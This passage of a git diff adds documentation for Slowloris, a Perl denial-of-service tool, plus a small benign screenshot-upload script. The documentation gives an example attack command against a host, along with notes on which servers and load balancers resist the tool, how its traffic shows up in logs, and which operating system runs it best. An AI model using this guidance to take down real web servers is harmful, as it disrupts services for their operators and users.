+Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary.
+
+=head3 HTTP Cache Example:
+
+./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
+
+=head1 Issues
+
+Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.
+
+Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
+
+For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD.
+
+Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
+
+=head1 What is a slow loris?
+
+What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:
+
+http://www.youtube.com/watch?v=rLdQ3UhLoD4
+
diff --git a/upshot b/upshot
new file mode 100755
index 0000000..066baed
--- /dev/null
+++ b/upshot
@@ -0,0 +1,5 @@
+#!/bin/sh
+file=$(scrot -s -e 'echo $f')
+#gimp "$file"
+fb "$file"
+rm "$file"